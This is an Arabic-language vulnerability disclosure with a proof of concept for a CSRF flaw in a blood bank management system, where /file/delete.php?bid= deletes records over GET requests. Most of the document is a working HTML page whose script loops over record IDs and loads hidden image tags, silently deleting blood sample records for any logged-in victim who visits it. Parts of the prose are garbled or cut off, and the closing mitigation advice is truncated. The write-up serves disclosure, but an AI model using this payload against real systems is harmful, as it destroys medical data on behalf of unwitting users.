
هجوم CSRF على بنك الدم POC
/file/delete.php?bid=تم اكتشاف ثغرة من نوع Cross Site Request Forgery (CSRF) في وظيفة طلب الدم في نظام BloodBank Management System. يحدث هذا الخلل عند إرسال طلب delete إلى هذا المسار /file/delete.php?bid= مما يسمح للمعامل بتحديد سجل لحذفه من التطبيق. ومع ذلك، فإن ديناميكية وتعتمد على إضافة عينات الدم، لذا لجعل الطلب ناجحًا، استخدمت علامة صورة مولدة بواسطة javascript داخل حلقة.
bidbidsيمكن أن يؤدي الاستغلال الناجح إلى إجراءات غير مصرح بها مثل حذف البيانات نيابة عن الضحية. بالإضافة إلى ذلك، يمكن استغلال ذلك بزيارة مواقع ويب ضارة تحتوي على الحمولة.
فيما يلي مثال على هجوم إثبات المفهوم CSRF الذي يحذف عينات الدم المتاحة عبر المعامل bid، استضفت الملف على نطاق يتحكم به المهاجم، في حالتي كنت أستخدم localhost:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf tokens في طلباتك، وتجنب أيضًا استخدام طلبات GET لإجراء تغييرات في الحالة.